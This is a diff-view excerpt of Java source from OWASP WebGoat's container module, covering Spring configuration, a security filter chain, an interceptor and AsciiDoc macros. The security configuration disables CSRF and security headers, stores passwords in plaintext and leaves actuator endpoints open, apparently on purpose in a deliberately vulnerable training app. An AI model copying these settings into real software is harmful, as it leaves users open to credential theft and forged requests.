public class UserInterceptor implements HandlerInterceptor {
private Environment env = EnvironmentExposure.getEnv();
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
// Do nothing
return true;
}
@Override
public void postHandle(
HttpServletRequest request,
HttpServletResponse response,
Object handler,
ModelAndView modelAndView)
throws Exception {
if (null != modelAndView) {
Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
if (null != authentication) {
modelAndView.getModel().put("username", authentication.getName());
}
if (null != env) {
String githubClientId =
env.getProperty("spring.security.oauth2.client.registration.github.client-id");
if (null != githubClientId && !githubClientId.equals("dummy")) {
modelAndView.getModel().put("oauth", Boolean.TRUE);
}
} else {
modelAndView.getModel().put("oauth", Boolean.FALSE);
}
}
}
@Override
public void afterCompletion(
HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
throws Exception {
// Do nothing
}
}

View File

@@ -0,0 +1,44 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.File;
import org.owasp.webgoat.container.session.LessonSession;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.autoconfigure.domain.EntityScan;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.PropertySource;
import org.springframework.context.annotation.Scope;
import org.springframework.context.annotation.ScopedProxyMode;
import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
import org.springframework.web.client.RestTemplate;
@Configuration
@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
@PropertySource("classpath:application-webgoat.properties")
@EnableAutoConfiguration
@EnableJpaRepositories(basePackages = {"org.owasp.webgoat.container"})
@EntityScan(basePackages = "org.owasp.webgoat.container")
public class WebGoat {
@Bean(name = "pluginTargetDirectory")
public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
return new File(webgoatHome);
}
@Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public LessonSession userSessionData() {
return new LessonSession();
}
@Bean
public RestTemplate restTemplate() {
return new RestTemplate();
}
}

View File

@@ -0,0 +1,90 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.container.users.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.password.NoOpPasswordEncoder;
import org.springframework.security.web.SecurityFilterChain;
/** Security configuration for WebGoat. */
@Configuration
@AllArgsConstructor
@EnableWebSecurity
public class WebSecurityConfig {
private final UserService userDetailsService;
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
return http.authorizeHttpRequests(
auth ->
auth.requestMatchers(
"/favicon.ico",
"/css/**",
"/images/**",
"/js/**",
"fonts/**",
"/plugins/**",
"/registration",
"/register.mvc",
"/actuator/**")
.permitAll()
.anyRequest()
.authenticated())
.formLogin(
login ->
login
.loginPage("/login")
.defaultSuccessUrl("/welcome.mvc", true)
.usernameParameter("username")
.passwordParameter("password")
.permitAll())
.oauth2Login(
oidc -> {
oidc.defaultSuccessUrl("/login-oauth.mvc");
oidc.loginPage("/login");
})
.logout(logout -> logout.deleteCookies("JSESSIONID").invalidateHttpSession(true))
.csrf(csrf -> csrf.disable())
.headers(headers -> headers.disable())
.exceptionHandling(
handling ->
handling.authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login")))
.build();
}
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userDetailsService);
}
@Bean
@Primary
public UserDetailsService userDetailsServiceBean() {
return userDetailsService;
}
@Bean
public AuthenticationManager authenticationManager(
AuthenticationConfiguration authenticationConfiguration) throws Exception {
return authenticationConfiguration.getAuthenticationManager();
}
@Bean
public NoOpPasswordEncoder passwordEncoder() {
return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
}
}

View File

@@ -0,0 +1,25 @@
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import lombok.RequiredArgsConstructor;
import org.springframework.context.ApplicationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.servlet.ModelAndView;
@Controller
@RequiredArgsConstructor
public class WebWolfRedirect {
private final ApplicationContext applicationContext;
@GetMapping("/WebWolf")
public ModelAndView openWebWolf() {
var url = applicationContext.getEnvironment().getProperty("webwolf.url");
return new ModelAndView("redirect:" + url + "/home");
}
}

View File

@@ -0,0 +1,30 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc;
import org.springframework.beans.BeansException;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.springframework.core.env.Environment;
import org.springframework.stereotype.Component;
/**
* Make environment available in the asciidoc code (which you cannot inject because it is handled by
* the framework)
*/
@Component
public class EnvironmentExposure implements ApplicationContextAware {
private static ApplicationContext context;
public static Environment getEnv() {
return null != context ? context.getEnvironment() : null;
}
@Override
public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
context = applicationContext;
}
}

View File

@@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor;
public class OperatingSystemMacro extends InlineMacroProcessor {
public OperatingSystemMacro(String macroName) {
super(macroName);
}
public OperatingSystemMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
public PhraseNode process(
StructuralNode contentNode, String target, Map<String, Object> attributes) {
var osName = System.getProperty("os.name");
// see
// https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
return createPhraseNode(contentNode, "quoted", osName);
}
}

View File

@@ -0,0 +1,37 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.security.core.context.SecurityContextHolder;
public class UsernameMacro extends InlineMacroProcessor {
public UsernameMacro(String macroName) {
super(macroName);
}
public UsernameMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
public PhraseNode process(
StructuralNode contentNode, String target, Map<String, Object> attributes) {
var auth = SecurityContextHolder.getContext().getAuthentication();
var username = "unknown";
if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {
username = webGoatUser.getUsername();
}
// see
// https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
return createPhraseNode(contentNode, "quoted", username);
}
}

View File

@@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor;
public class WebGoatTmpDirMacro extends InlineMacroProcessor {
public WebGoatTmpDirMacro(String macroName) {
super(macroName);
}
public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
public PhraseNode process(
StructuralNode structuralNode, String target, Map<String, Object> attributes) {
var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
// see
// https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
return createPhraseNode(structuralNode, "quoted", env);
}
}

Some files were not shown because too many files have changed in this diff Show More